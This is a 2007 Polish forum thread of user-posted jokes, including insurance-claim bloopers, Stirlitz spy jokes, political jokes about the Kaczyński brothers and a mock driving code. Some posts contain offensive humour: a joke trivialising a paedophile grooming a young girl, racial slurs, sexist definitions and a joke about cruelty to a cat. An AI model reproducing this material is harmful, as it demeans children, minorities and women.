Jeśli siedzisz w samolocie, autobusie, pociągu lub tym podobnym środku lokomocji, a obok Ciebie siedzi wku...jący i upierdliwy nie do wytrzymania pasażer, to:
1. cicho i spokojnie wyciągnij laptopa
2. włącz laptopa
3. upewnij się, że sąsiad siedzący obok widzi ekran monitora
4. zamknij oczy i odwróć głowę w stronę sufitu
5. naciśnij ten link.

Mania - 23-02-2007, 11:30

Przyczyny wypadków mogą być bardzo różne.

- Zacząłem zwalniać, ale ruch był bardziej stacjonarny niż myślałem - wyjaśniał jeden z klientów. Poniżej dziwne teksty z wniosków, wyjaśnień i podań wystosowanych do brytyjskich i amerykańskich firm ubezpieczeniowych.

"Samochód odjechał i natknął się na naszego klienta, który wyleciał w powietrze, a jego głowa przebiła przednią szybę, a następnie odturlała się ładnych parę metrów. Później samochód przyspieszył i naszemu klientowi, który w cudowny sposób oprzytomniał, udało się przejść przez jezdnię"

"Zatrzymałem się na poboczu, bo spod maski wydobywał się dym. Zorientowałem się, że samochód się pali, więc wyciągnąłem mojego psa i zacząłem gasić go kocem"

"Kiedy wracałem, trafiłem do nie swojego domu i wjechałem w drzewo, którego nie posiadam"

Formularz klienta, który przejechał krowę Pytanie: Jakie dał(a) Pan(i) ostrzeżenie? Odpowiedź: Zatrąbiłem. Pytanie: Jakie ostrzeżenia dała druga strona? Odpowiedź: Zamuczała.

Myślałem, że szyba jest opuszczona. Przekonałem się, że jest inaczej, kiedy wsadziłem w nią głowę

Mój samochód był zaparkowany zgodnie z prawem. I wtedy uderzył w auto stojące z tyłu"

Byłem przekonany, że temu staruszkowi nie uda się przebiec na drugą stronę, kiedy w niego uderzyłem."

"Zmieniłem pasy, spojrzałem na moją teściową, no i przejechałem przez barierki"

"Samochód przede mną uderzył w pieszego, ale on się podniósł i ja uderzyłem w niego drugi raz"

"Powiedziałem policji, że nic mi nie jest, ale kiedy zdjąłem kapelusz, zauważyłem, że mam pękniętą czaszkę"

VooDoo_73 - 19-03-2007, 19:42

Jakoś dawno nic świeżego tutaj... A więc dla rozrywki:

Przychodzi facet do sklepu myśliwskiego i prosi o lunetkę do karabinu.
Sprzedawca sięga po najdroższy model i mówi:
- Ten celownik jest tak dobry, że stąd zobaczy pan mój dom na wzgórzu.
Po chwili obserwacji klient zaczyna się śmiać.
- Z czego pan sie śmieje? - pyta sprzedawca.
- Widzę gołego mężczyznę i gołą kobietę, którzy biegają dokoła domu.
Sprzedawca bierze celownik, montuje go do strzelby, sięga po dwa naboje
i składa propozycję:
- Dostanie pan ode mnie ten celownik wraz ze strzelbą za darmo, jeżeli
strzeli pan mojej żonie w głowę, a jej kochankowi w przyrodzenie.
Facet jeszcze raz patrzy na dom sprzedawcy przez celownik i mówi:
- Wie pan co? Myślę, że teraz załatwię sprawę jednym nabojem!

Efraim Ryba - 20-03-2007, 12:05

Miałem przyjemność jechać autobusem, którego kierowcę jeden z pasażerów
ciągle krytykował za sposób jazdy. A to że za szybko, za wolno, że chyba
wcześniej woził ziemniaki bo szarpie, hamuje gwałtownie, zakręty bierze
zbyt mocno, itd, itp.
W pewnym momencie kierowca zatrzymał autobus, zerwał się ze swojego
miejsca chwycił torbę z drugim śniadaniem i przez zęby powiedział do
krytykanta:
- To se pan sam prowadź ten autobus! I wyszedł.
Krytykant niezrażony siadł za kierownicą i ruszył. Ludzie w popłochu
rzucili się do drzwi chcąc w panice wysiadać. Nowy kierowca rechotał
pod nosem. Gdy mijał poprzedniego, teraz już spacerującego wzdłuż jezdni,
machnął łapą i wykrzyczał przez okno:
- Na razie Waldek, żebyś widział ich miny. Jutro ty mnie tak zmieniasz.

--

Rozmawia dwóch dobrych znajomych. Waldek:
- Heniu, ja za tydzień idę na emeryture, mówie ci, jestem tak zmeczony, ze
przez pierwszy miesiac bede siedzial w fotelu bujanym i nic nie bede robil
- A po miesiącu, Walduś?
- A po miesiacu, zacznę się bujać...

--

Rozmawia dwóch kolesiów:
- Kurna, stary, ale wczoraj była impra u Mareczka. Wódeczka, kobitki, skręty i kot
- Jak kot?
- No, kot Mareczka. Stary, zielsko mu daliśmy do jarania.
- I co?
- Jak co? Posiedział z nami, pośmiał się trochę...

--

Od czasu, jak spróbowałam nowego "Dove", moja skóra odmłodniała, stała się delikatna, przyjemna w dotyku - taka aksamitna wręcz. Zmarszczki się zmniejszyły a rysy wygładziły. Poczułam się młodsza i piękniejsza. Przybyło mi nowych sił. Aż sama się zdziwiłam! Chociaż w smaku - mydło jak mydło...

wrobel.cwirek - 26-03-2007, 19:10

A Polish farmer is ploughing his field when he hits an obstruction in the soil - a dirty old lamp. He picks it up and rubs it to clean it off, and a genie appears in a puff of smoke.

"Thank goodness you found my lamp I was getting bored," says the Genie. "I will grant you any three wishes you desire."

The farmer thinks and thinks and finally says: "I want the Mongols to invade Poland... and then go home."

The genie looks confused, but he shrugs, and snaps his fingers, and the Mongols invade. They rampage through the country, looting and pillaging... and then they go home.

"OK," says the genie, "that was your first wish. What else do you want?"

"I want the Mongols to invade Poland again... and then go home."

The genie sighs. "Fine, it's your wish, I guess." He snaps his fingers again, and the Mongols return. They set the farmhouse on fire, and steal the chickens, and then they go home.

"And what is your final wish?" asks the genie.

"I want the Mongols to invade Poland again, and then go home," says the farmer without hesitation.

So the Mongols invade once again, and steal everything that isn't nailed down. They steal the farmer's old wife, and his plough, and rough him up a bit, and then they leave.

As they are both standing in the smoking, ransacked ruins of the farmhouse, the genie says: "OK, I have to know. What the hell was that about? You could have wished for anything in the whole world, and you had the Mongols invade your own country three times, and totally destroy it. Why?!"

The farmer looks very pleased with himself. "Well, you see, in order to invade us three times and go home, they had to go through Russia six times!"

mysiar - 26-03-2007, 22:32

- Za co tak wczoraj twoja żona darła na ciebie mordę?
- Za siedzenie do późna w bibliotece.
- I to jest powód
- Majtek z czytelni zapomniałem.

Efraim Ryba - 27-03-2007, 18:26

Z Funiastych:

Wchodzi do baru facet z siedzacym na ramieniu malym czlowieczkiem (tak ze 40cm), i zamawia:
- Prosze setke czystej, a dla kolegi piecdziesiatke.
Barman polewa i pyta:
- Skad pan wytrzasnal takiego cudaka
Klient na to:
- Zrob, pan, kolejke, to panu powiem.
Barman szybko napelnil nastepna kolejke...
- To bylo na safari... Idziemy z kolega przez dzungle, wychodzimy na polane, na ktorej wokol ogniska pelno
Murzynow z dzidami. Na srodku taki jeden z wielkim pioropuszem na glowie tanczyl jakies wygibasy...
W tym momencie przerywa opowiesc i zwraca sie do czlowieczka na ramieniu:
- I jak ty mu wtedy, Heniu, powiedziales? Ze jest ch_j nie czarownik?


Szedł Jezus przez pole marchwi, przewrócił się i zmarchwiwstal.

Adam Frajtak - 27-03-2007, 21:46

Efraim Ryba napisał/a:
Z Funiastych:
W tym momencie przerywa opowiesc i zwraca sie do czlowieczka na ramieniu:
- I jak ty mu wtedy, Heniu, powiedziales? Ze jest ch_j nie czarownik?


Szedł Jezus przez pole marchwi, przewrócił się i zmarchwiwstal.


Żartów z Jezusa sobie nie rób sam zobacz co się stało z Heniem :mrgreen:

PawelW - 28-03-2007, 00:41

mówi Kubuś Puchatek do prosiaczka
- wiem jaka jest twoja przyszłość
a prosiaczek na to :
- super czytałeś mój horoskop ??
- nie książkę kucharska :lol: :lol: :lol:

[ Dodano: 28-03-2007, 00:44 ]
Efraim Ryba napisał/a:
Szedł Jezus przez pole marchwi, przewrócił się i zmarchwiwstal.



uuuuuuuuuuuuuuu igrasz z gazami we flaszkach

Efraim Ryba - 29-03-2007, 17:26

Kobieta miała papugę w domu, która ciągle powtarzała:
> - Precz z Kaczyńskim! Precz z Kaczyńskimi!
> Ktoś z sąsiadów podkablował i niedługo do kobity puka policja:
> - Dzień dobry, policja. Dostaliśmy wezwanie, że pani papuga obraża
> naszego prezydenta i premiera. Proszę pokazać papugę.
> Kobieta przynosi klatkę z papugą, a ta już od progu drze się:
> - "Precz z Kaczyńskimi!"
> Policjant upomina kobietę:
> - Jeśli to się będzie powtarzało to będziemy musieli uśpić papugę, a
> panią wsadzić do więzienia.
> Kobieta po wyjściu funkcjonariuszy prosi papugę:
> - Słuchaj papużko, nie mów tak więcej proszę, bo mnie zamkną a ciebie
> uśpią i po co nam to.
> Kilka dni spokoju, ale papuga sobie przypomniała i znowu zaczęła swoje:
> - Precz z Kaczyńskimi! - na całe gardło.
> Na drugi dzień kobieta dostała wezwanie do sądu na rozprawę - papuga
> jako dowód rzeczowy. Kobieta poszła więc do spowiedzi powiedzieć księdzu
> co jej leży na sercu. A ksiądz mówi:
> - Słuchaj kobieto - ja mam też papugę, która mówi i jest podobna. Na
> czas rozprawy podmienimy papugi i nikt się nie skapnie.
> No i jak uradzili, tak zrobili. Dzień rozprawy, kobiecina z księdzem
> podmienili papugi i babka leci do sądu z kościelną papugą. Sędzią mówi:
> - Proszę wnieść klatkę z papugą.
> Klatka z papugą wniesiona - papuga nic. Nie odzywa sie słowem.
> Oskarżyciel podpuszcza papugę:
> - Czy papuga mówiła "Precz z Kaczyńskimi!" ?
> Papuga nic. Sędzia podpowiada:
> - Precz z Kaczyńskimi! - oskarżyciel i oskarżyciel posiłkowy też
> zachęcają:
> - Precz z Kaczyńskimi!
> W końcu cała sala skanduje:
> - Precz z Kaczyńskimi! Precz z Kaczyńskimi!
> A papuga zawodzi kościelnym głosem:
> - Słuuuuchaaaaj Jeeeezuuuuu jak cię błaagaa luuud......

[ Dodano: Pią 30 Mar, 2007 ]
Zebrane w różnych miejscach, wszystkie o sztyrlicu. Ech, obejrzało by się siedmenascie mgnień wiosny.


Wróciwszy do swego gabinetu, Mueller zauważył, że Stirlitz podejrzanie kręci się w pobliżu sejfu. - Co tu robicie, Stirlitz? - srogo zapytał.
- Czekam na tramwaj - odparł Stirlitz.
- W porządku! - rzucił Mueller, wychodząc. Ale na korytarzu pomyślał: Jakiż u diabła może być tramwaj w moim gabinecie? Zawrócił. Ostrożnie zajrzał do gabinetu. Stirlitza nie było.
- Pewnie już odjechał - pomyślał Mueller.

Stirlitz się zamyślił. Spodobało mu się to, więc zamyślił się jeszcze raz.

Stirlitz wszedł do kawiarni Elefant. - To Stirlitz. Zaraz będzie zadyma - powiedział jeden z siedzących przy stole. Stirlitz wypił kawę i wyszedł.
- Nie - odpowiedział drugi. - To nie on.
- Jak to nie!? To Stirlitz!!! - krzyknął trzeci. Zaczęła się zadyma.

Hitler i Bormann stoją przed mapą i planują ważną akcję. Wchodzi Stirlitz z pomarańczami, wyciąga aparat fotograficzny, robi zdjęcia mapy i wychodzi.
Hitler zdziwiony pyta Bormanna:
- Kto to był?
- Stirlitz, radziecki szpieg.
- Czemu go nie aresztujesz?
- Nie ma sensu. Znów się wykręci. Powie, że przyniósł pomarańcze.

Stirlitz karmił ukradkiem niemieckie dzieci.
Od ukradka dzieci puchły i umierały.

Stirlitz wolnym krokiem zbliżył się do lokalu kontaktowego. Zapukał umówione
127 razy. Nikt nie otworzył. Po namyśle wyszedł na ulicę i spojrzał w okno.
Tak, nie mylił się. Na parapecie stały 63 żelazka - znak wpadki.

Stirlitz wchodzi do gabinetu Muellera:
- Nie chciałby pan pracować dla radzieckiego wywiadu? - pyta. - Nieźle płacą.
Zszokowany Mueller patrzy podejrzliwie. Stirlitz zmieszany idzie do drzwi.
Przystaje:
- Nie ma pan przypadkiem aspiryny? - pyta. Wie, że ludzie zapamiętują tylko koniec rozmowy.

Dom Stirlitza okrążyli gestapowcy.
- Otwieraj! - krzyknął Mueller.
- Stirlitza nie ma w domu! - powiedział Stirlitz.
W ten oto sprytny sposób Stirlitz już piąty raz przechytrzył gestapo.

Stirlitz szedł ulicami Berlina, coś jednak zdradzało w nim szpiega: może czapka-uszanka, może walonki, a może ciągnący się za nim spadochron?

Mueller wiedział, że Rosjanie, zamieszawszy cukier, zostawiają łyżkę w szklance z herbatą. Chcąc sprawdzić Stirlitza, zaprosił go na herbatę.
Stirlitz wsypał cukier do szklanki, zamieszał, wyjął łyżeczkę, położył ją na spodeczku, po czym pokazał Muellerowi język.

Stirlitz, przechodząc korytarzem, jakby od niechcenia pchnął drzwi gabinetu Bormanna. Drzwi ani drgnęły. Stirlitz zatrzymał się, rozejrzał i pchnął mocniej. Bez skutku.
- Pewnie zamknięte - pomyślał Stirlitz.

Stirlitz poszedł do lasu, ale ani borowików, ani podgrzybków, ani nawet opieniek nie było.
- Pewnie nie sezon - pomyślał Stirlitz, siadając w zaspie.

Szybkosciomierz samochodu Bormanna pokazywal 80 km/h. Obok
szedl Stirlitz udajac ze nigdzie sie nie spieszy.

Stirlitz jestescie Zydem! - stwierdzil nagle Muller, gdy standartenfurer
opuszczal jego gabinet.
- Nieprawda jestem uczciwym Rosjaninem - dumnie odparl Stirlitz.

Naprzeciw Stirlitza szly trzy umalowane kobiety.
- Prostytutki - pomyslal Stirlitz.
- Pulkownik Isajew - pomyslaly prostytutki.

Do gabinetu Bormanna wchodzi nieznajomy. Staje przed biurkiem i patrzac
prosto w oczy Bormanna, wykonuje dziwne gesty. W koncu mowi:
- Slonie ida na polnoc, a wolki zbozowe podazaja ich sladem.
Bormann patrzy na przybysza z wyraznym niesmakiem:
- Gabinet Stirlitza jest pietro wyzej - odpowiada.

Stirlitz szedl ulica, kiedy z tylu rozlegly sie strzaly i tupot
podkutych butów. To koniec - pomyslal Stirlitz wkladajac reke do
prawej kieszeni spodni. Tak, to byl koniec. Pistolet nosil w lewej.

Stirlitz spacerowal po dachu kancelarii Rzeszy. Nagle poslizgnal
sie, upadl i tylko cudem zahaczyl o wystajacy gzyms, unikajac
upadku z duzej wysokosci. Nastepnego dnia cud posinial i obrzekl.

Stirlitz wypoczywa w swoim tajnym mieszkaniu. Nagle wazon z kwiatami spada z parapetu i rozbija Stirlitzowi głowę. To tajny sygnał - znak, że jego żona właśnie powiła syna. Stirlitz ukradkiem ociera ojcowskie łzy. Tęskni. Od siedmiu lat nie był w domu.

W kawiarni "Elefant" Stirlitz miał się spotkać z łącznikiem. Nie ustalono niestety żadnego znaku rozpoznawczego.
Na szczęście łącznikowi zwisały spod marynarki szelki spadochronu.

Idzie sobie Stirlitz lasem, i nagle słyszy za sobą: szur, szur, szur.
-To chyba żaba - pomyślał Stirlitz
-Tak, to ja - pomyślała żaba.

Stirlitz i Kathe spacerują po parku. Nagle padają strzały. Kathe pada. Krew tryska.
Stirlitz, polegając na swym instynkcie, momentalnie zaczyna coś podejrzewać.

Stirlitz rano podczas golenia spogląda w swoje odbicie w lustrze.
- Stirlitz - pomyślał Stirlitz.
- Stirlitz - pomyślało lustro.

Stirlitz, spacerując zimą nad brzegiem jeziora, ujrzał na nim ludzi.
- Łyżwiarze - pomyślał Stirlitz.
- Stirlitz - pomyśleli wędkarze.

MĂźller, wglądając przez okno, ujrzał podążającego gdzieś Stirlitza.
- Dokąd on idzie? - pomyślał MĂźller.
- Nie twój zasrany interes! - pomyślał Stirlitz.

Stirlitz siedział w swoim niemieckim mieszkaniu, gdy nagle usłyszał drapanie do
drzwi wejściowych. Otworzył i na wycieraczce zobaczył małego kotka.
- Chcesz mleczka, głuptasku? - Spytał agent.
- Sam jesteś głuptasek, właśnie przysłali mnie tutaj z centrali. - Odpowiedział
kot.

Stirlitz szedł sobie przez las i w pewnym momencie zobaczył w dziupli drzewa
świecące oczy.
- Pewnie sowa - pomyślał Stirlitz
- Sam jesteś sowa - pomyślał Borman.

Stirlitz mknął swoją limuzyną Deimler-Benz w stronę Reichstagu. Za nim podążało pięciu gestapowców na motocyklach.
"Papparazzi"- pomyślał Stirlitz.

Stirlitz wyszedł z kancelarii Rzeszy.Spojrzał w górę. Był kwiecień '45 i całe niebo pokrywały balony zaporowe.
"Corel Draw" - pomyślał Stirlitz.

Stirlitz szedł zmęczony korytarzem siedziby gestapo. Nagle dostrzegł idącą z naprzeciwka grupę SS-manów. Dwaj prowadzili pod ręce jego radiotelegrafistkę, Kate, a ich śladem podążał SS-man z charakterystyczną walizką- radiostacją.
"Dostała urlop" - pomyślał z zawiścią Stirlitz.

Stirlitz przechodził kryzys. Bardzo tęsknił za ojczyzną. Kiedy przyszedł do domu, odgasił peta w doniczce i wysmarkał nos w firankę. On też chciał się czasami poczuć jak zwykły radziecki oficer.

Stirlitz odzyskał przytomność w małej, wilgotnej celi. Zaczął intensywnie myśleć.
" Jeśli pojawią się ludzie w czarnych mundurach, powiem, że jestem standartenfuehrer Stirlitz, jeśli w zielonych mundurach i w czapkach z niebieskim otokiem, powiem, że jestem pułkownik Isajew"
Nagle otworzyły się drzwi i do celi weszli ludzie w szarych mundurach.
- Aleście się wczoraj nawalili, towarzyszu Tichonow (aktor który grał sztyrlica)

Stirlitz zobaczył jak banda wyrostków pompuje kota benzyną. Kot wyrwał się, przebiegł kilka metrów i upadł.
- Widocznie benzyna się skończyła - pomyślał Stirlitz.

Gdy Stirlitz szedł korytarzem, oczom jego ukazało się ogłoszenie o czynie społecznym.
- Wpadłem - pomyślał. Skierował się w kierunku gabinetu Mullera.
- Gratuluje poczucia humoru - powiedział - Tak jestem agentem sowieckim!
- Dobra, dobra Stirlitz... Odmaszerować!
Po chwili Muller wykręcił numer Kaltenbrunerra.
- Czego to nie wymyśli nasz poczciwy Stirlitz, rzekł ze śmiechem - żeby się wykręcić od roboty...

Stirlitz jest już w Rosji, pije piwo pod kioskiem i krzywi się do sąsiada:
- Rozwodnione.
A sąsiad na to:
- Trzeba było gorzej szpiegować, pilibyśmy Heineckena.

Gestapo obstawiło wszystkie wyjścia, ale Stirlitz ich przechytrzył. Uciekł przez wejście.

Stołówka Urzędu Bezpieczeństwa Rzeszy. Mueller, Himmler i Bormann cierpliwie stoją w kolejce. Stirlitz wchodzi i od ręki dostaje obiad. Mueller, Himmler i Bormann patrzą osłupiali. Nie wiedzą, że kobiety ciężarne i Bohaterowie Związku Radzieckiego obsługiwani są poza kolejnością.

- Stirlitz, co jest lepsze: radio czy gazeta? - zapytał podejrzliwie Mueller.
- Gazeta, w radio nie zawiniesz śledzia - odparł spokojnie Stirlitz.

Stirlitz podszedł do szafy i nacisnął guzik - szafa odsunęła się od ściany ukazując ukryte przejście. Nacisnął ponownie - i szafa przysunęła się z powrotem.
- Ukryte przejście! - zrozumiał Stirlitz po chwili myślenia

Stirlitz szedł w ciemną, bezksiężycową noc przez las.
"Kaczyńscy tu byli" - pomyślał Stirlitz.

[ Dodano: Pon 02 Kwi, 2007 ]
Facet zabral swojego psa do pubu, kupil po piwie i usiadl z psem ogladac mecz. Akurat grala reprezentacja polski. Po jednostronnym meczu Polska przegrala, pies natomiast zwiesil leb i wymamrotal: "O nie! Znowu?". Zaskoczony barman podchodzi do typa i pyta:
- Czy twoj pies wlasnie powiedzial "O nie! Znowu?"
Na co facet:
- Tak, zawsze tak mowi, jak Polska przegrywa
- A co mowi, kiedy Polska wygra?
A facet na to:
- Nie wiem, mam go dopiero 5 lat...

Damass - 04-04-2007, 13:34
Temat postu: Kodeks Drogowy Prawdziwego Kierowcy
Kodeks Drogowy Prawdziwego Kierowcy

art 1.
Pamiętaj, że celem każdego kierowcy jest być pierwszym, cokolwiek to oznacza.

art 2.
Im szybciej przejedziesz na czerwonym świetle, tym mniejsze prawdopodobieństwo, że ktoś cię stuknie z boku.

art.3
Włączenie kierunkowskazu ujawnia wszystkim twój zamiar wykonania manewru.
Prawdziwy kierowca nigdy tego nie zdradza.

art 4.
Nigdy nie wymuszaj pierwszeństwa, ani nie zajeżdżaj drogi starszemu samochodowi.
Tamten gość prawdopodobnie nie ma nic do stracenia.

art.5
Prędkość km/h widniejąca na znakach drogowych jest jedynie wielkością sugerowaną dla przeciętnych kierowców.
Prawdziwy kierowca dopasowuje prędkość do możliwości własnego samochodu.

art 6.
Nigdy nie utrzymuj takiego odstępu od poprzedzajacego pojazdu, aby mogło wjechać inne auto.

art 7.
Hamować należy w ostatniej chwili i tak mocno, aby bezwzględnie zadziałał ABS, powodując odprężajacy masaż stopy.
W przypadku aut bez ABS ćwiczymy rozciąganie nogi

art 8.
Nie faworyzuj mniejszosci.
Wpuszczając przed siebie auto wyjeżdżające z podporządkowanej uszczęśliwiasz jednego a wkurzasz dziesiątki jadących za tobą.

art 9.
Pamiętaj, że wśród pieszych, których przepuszczasz na pasach lub wysepce tramwajowej może być terrorysta.

art 10.
Zauważ, że jeżeli zaparkujesz samochód na środku trawnika, na pewno żaden pies nie zrobi w tym miejscu kupy.

art 11.
Jeżeli nie potrafisz prowadzić samochodu jednocześnie nadajac SMS`a, jedząc hamburgera, pijac colę i zmieniajac CD - nigdy nie zostaniesz przedstawicielem handlowym

art 12.
Blondynka napotkana za kierownicą innego pojazdu jest równoważna 100 czarnym kotom przebiegającym drogę.

art 13.
Wyrzucanie śmieci za okno samochodu urozmaica krajobraz oraz nadaje sens istnieniu służb porządkowych.

art 14.
Inteligentna sygnalizacja drogowa nie jest po to aby ułatwić ci życie ale po to by pokazać, iż odpowiednie służby są na bieżąco z postępem technicznym.

art 15.
Pamiętaj, że zmienne warunki pogodowe nie są w żadnym wypadku powodem dla zmiany powyższych reguł. Są one naturalnym czynnikiem wzrostu gospodarczego w biznesie samochodowym oraz medycznym.

Efraim Ryba - 11-04-2007, 13:26

- Kelner, a jak przygotowujecie kurę?
- Zwyczajnie, mówimy jej, że czas umierać.

Ryszard Szwajcer - 12-04-2007, 23:20

- Kelner!- czy orkiestra gra na życzenie gości?
- tak proszę pana
- to niech pan im powie, żeby se zagrali w szachy...

Efraim Ryba - 17-04-2007, 12:26

Do sklepu wchodzi blondynka i zwraca się do ekspedientki:
- Poproszę episkopat.
- Chyba epidiaskop?
- Proszę pani, to ja podejmuję diecezje!
- Chyba decyzje?
- Niech pani się nie wymądrza! W szkole byłam prymasem.

[ Dodano: Wto 17 Kwi, 2007 ]
Przewodnik oprowadza wycieczkę po muzeum. Stają przed obrazem:
- A tu, proszę wycieczki, mamy straszny obraz. Masakra. Ojciec leży na
podłodze, głowa oderżnięta, krew się leje - straszno patrzeć. A obok - syn.
Szablą przebity. Krew się leje. Straszno patrzeć. A obok - córka. Zgwałcona.
Pobita. Nóż w brzuchu. Krew się leje. Straszno patrzeć. A w kącie - matka
siedzi. Oczy w słup postawiła. Smutna czegoś...

PRETORIANIN - 17-04-2007, 20:07

Szczyt bezszczelności:
zaglosowac na PiS i wyjechac zagranice


BYlo dwoch takich co ukradli ksiezyc pozniej zalozyli PiS czyli podpier..... i slonce

gladius - 18-04-2007, 13:02

http://img101.imageshack....guesswhoxv0.jpg
FotoMiś - 24-04-2007, 17:02

Wpada wściekły Kubuś Puchatek do Krzysia i od progu woła:
- ...że Prosiaczek kablował to rozumiem, świnia jest i tyle.
Że Kłapouchy też - osioł, gamoń, dureń, to się dał wmanewrować.
Ale, że cholera Miodek, to się nie spodziewałem!!!! - wrzasnął wk*** miś rozbijając garnek o ścianę.

I - 24-04-2007, 23:05

Nie wiem, czy było, ale jest słodko bestroskie ... :lol:
TALIBAN OLYMPICS

P.
I

KasiaK - 08-05-2007, 21:12

W zatłoczonym autobusie stoi lekko pijany facet i co chwila mówi: "O,ku...a!".
Pasażerowie zwracają mu uwagę, ale on ciągle: "O, ku...! O, ku...a!".
Wreszcie ktoś zgorszony idzie do kierowcy. Po chwili kierowca
zatrzymuje autobus, podchodzi do faceta i mówi:
- Jeśli pan nie przestanie przeklinać, to podjadę pod komisariat i
zostawię pana na policji.
Na te słowo facet mówi kierowcy kilka słów na ucho. Kierowca
gwałtownie blednie i mówi:
- O ku...a!
Widząc zdziwienie pasażerów, kierowca wyjaśnia:
- Ja bardzo państwa przepraszam, ale żona tego pana urodziła wczoraj
bliźniaki i dała im na imię Lech i Jarosław
- O ku...a! - powiedzieli chórem pasażerowie.

Łukasz M. - 09-05-2007, 01:42

Niedługo powstanie nowa wersja powyższego dowcipu, ale o trzech "bliźniakach" - pytanie, co zostanie wstawione w miejsce ku..y, bo ku..a, to zbyt łagodne słówko :mrgreen:
Mania - 09-05-2007, 11:11

Jaki jest szczyt chamstwa?

Zaglosowac na PiS i wyjechac do Irlandii
:mrgreen:

tsharny - 09-05-2007, 13:07

Definicja alternatywne

Bankier
Ktoś, kto pożyczy ci swój parasol podczas pięknej pogody, natomiast, kiedy zaczyna padać, natychmiast go odbierze.

Harcerz
Dziecko ubrane jak kretyn pod przywództwem kretyna ubranego jak dziecko.

Konsultant
Ktoś, kto weźmie zegarek od twojej żony, powie ci, która godzina, po czym każe zapłacić za informacje.

Dyplomata
Ktoś, kto potrafi powiedzieć "spierdalaj" w taki sposób, ze poczujesz podniecenie w związku ze zbliżająca się wyprawa.

Ekonomista
Ekspert, który potrafi dzisiaj dokładnie wyjaśnić, czemu jego wczorajsza prognoza na dziś się nie sprawdziła.

Koleżanka
Osoba przeciwnej płci, która ma "to coś", co powoduje, ze absolutnie nie masz ochoty się z nią przespać.

Pesymista
Optymista z bagażem doświadczeń.

Informatyk
Ktoś, kto naprawi problem, o którym nie wiedziałeś w sposób, którego nie rozumiesz.

Psycholog
Ktoś, kto gapi się jedynie na innych ludzi, kiedy atrakcyjna kobieta wchodzi do pokoju.

Statystyk
Ktoś, kto jest niezły z liczbami, ale brakuje mu charakteru, aby zostać inżynierem.

Taniec
Wertykalna frustracja horyzontalnego pożądania.

Ból głowy
Szeroko stosowana przez kobiety metoda antykoncepcji.

Intelektualista
Ktoś, kto jest zdolny przez ponad 2 godziny myśleć o czymś innym niż seks.

Język
Organ seksualny, przez niektórych zdegradowany jedynie do funkcji mowy.

Monogamia
Represjonowana poligamia.

Nanosekunda
Odcinek czasu, jaki upływa pomiędzy zapaleniem się zielonego światła a facetem za tobą zaczynającym trąbić klaksonem.

Nimfoman
Termin używany w stosunku do każdej osoby, która chciałaby mięć więcej seksu niż ma obecnie.

Praca grupowa
Możliwość zwalenia winy na inne osoby.

Wieczność
Czas, jaki upływa od momentu, kiedy skończyłeś, do momentu, kiedy możesz wyjść od niej z mieszkania.

Łatwa
Termin używany w stosunku do każdej kobiety, która traktuje sprawy seksu jak mężczyzna.

Piłka nożna
To, za co wychodzą za mąż kobiety, zupełnie nieświadomie.

Hardware
Ta cześć komputera, która można kopnąć, kiedy software przestanie funkcjonować.

Inflacja
Powód, dla którego musisz przeżyć ten rok za pieniądze, jakie zarabiałeś w zeszłym.

Fizyka Kwantowa
Murzyn w ciemnym pokoju szukający czarnego kota, którego tam nie ma.

[ Dodano: 14-05-2007, 12:36 ]
Wleciała mucha do cipki. Latała we wszystkich kierunkach nie mogąc
znaleźć wyjścia. Po piętnastu minutach zupełnie wycieńczona siadła i
rzecze:
- Teraz to albo mnie a fee strzeli, albo krew zaleje!

--------------------------------------------------------------------------------------

Podchodzi pedofil do malej dziewczynki...
- Dziewczynko, czy jak dam Ci cukierka to dasz się pogłaskać po rączce?
Dziewczynka na to: a pewnie, dam.
- A jak Ci dam jeszcze jednego cukierka to dasz się pogłaskać po buźce
- No, dam.
- A jak ci dam cala torebkę cukierków to dasz się pogłaskać po pupci?
- No tak, dam.
Następnego dnia dziewczynka siedzi z koleżankami w piaskownicy.
Robią babki, rozmawiają, dziewczynka opowiada koleżankom:
- Słuchajcie, poznałam faceta, fajny, taki starszy trochę,
tylko a fee cukrzycy dostanę zanim mnie przeleci.

wrobel.cwirek - 16-05-2007, 21:26

nie wiem czy bylo:

Wpada wk**** Kubus Puchatek do domu... biegnie do kuchni i krzyczac: "Rozumiem ze Osiolek, bo osiol, rozumiem ze Prosiaczedk bo swinia.... ALE ZEBY MIODEK DONOSIL!!!" niszczy wszystkie sloiki.

:-)

gladius - 16-05-2007, 23:19

http://www.youtube.com/wa...6id%3D51617%268
mysiar - 17-05-2007, 07:56

IRISH MEDICAL DICTIONARY :mrgreen:

Artery......................... The study of paintings.
Bacteria....................... Back door to cafeteria.
Barium......................... What doctors do when patients die.
Benign........................ .What you be, after you be eight.
Caesarean Section...............A neighbourhood in Rome.
Catscan........................ Searching for Kitty.
Cauterize...................... Made eye contact with her.
Colic.......................... A sheep dog.
Coma........................... A punctuation mark.
Dilate......................... To live long.
Enema.......................... Not a friend.
Fester......................... Quicker than someone else.
Fibula......................... A small lie.
Impotent........................ Distinguished, well known.
Labour Pain.....................Getting hurt at work.
Medical Staff.................. A Doctor's cane.
Morbid......................... A higher offer.
Nitrates....................... Cheaper than day rates.
Node........................... I knew it.
Outpatient..................... A person who has fainted.
Pelvis......................... Second cousin to Elvis.
Post Operative................. A letter carrier.
Recovery Room.................. Place to do upholstery.
Rectum......................... Nearly killed him.
Secretion...................... Hiding something.
Seizure........................ Roman emperor.
Tablet......................... A small table.
Terminal Illness............... Getting sick at the airport.
Tumour..........................One plus one more.
Urine.......................... Opposite of you're out.
2xCondoms.......................To be sure, to be sure

jacek282 - 17-05-2007, 16:01

http://www.youtube.com/watch?v=vuLZzAkzd_M
Coś o blondynkach.

tom_wie - 18-05-2007, 04:14

Myśliwi zorganizowali imprezę z okazji święta Huberta- ich patrona. Jak zawsze odbywał się konkurs rozpoznawania zabitej zwierzyny. Tym razem do konkursu zgłosiło się trzech uczestników.
Zawiązano oczy pierwszemu uczestnikowi i wystawiono zabitą zwierzynę. Uczestnik podchodzi, maca i odgaduje:
-Sarna zabita ze sztucera.
Rozległy się prawa i wiwaty.
Zawiązano oczy drugiemu uczestnikowi i wystawiono inną zwierzynę.
-Zając zabity z wiatrówki- trafnie odgaduje.
Znowu rozległy się brawa.
Wreszcie zawiązano oczy trzeciemu uczestnikowi, który był już bardzo pijany i wystawiono zwierzynę. Ten chcąc podejść zatoczył się kilka razy, potknął i wpadł na przechodzącą właśnie żonę gajowego wkładając jej przypadkowo rękę pod spódnicę.
Koleś maca, maca, myśli i nagle krzyczy
-KUR*A TO JEST JEŻ, ALE ZABITY TO CHYBA SAPERKĄ!!!

[ Dodano: 18-05-2007, 04:23 ]
Jaki jest szczyt głupoty?

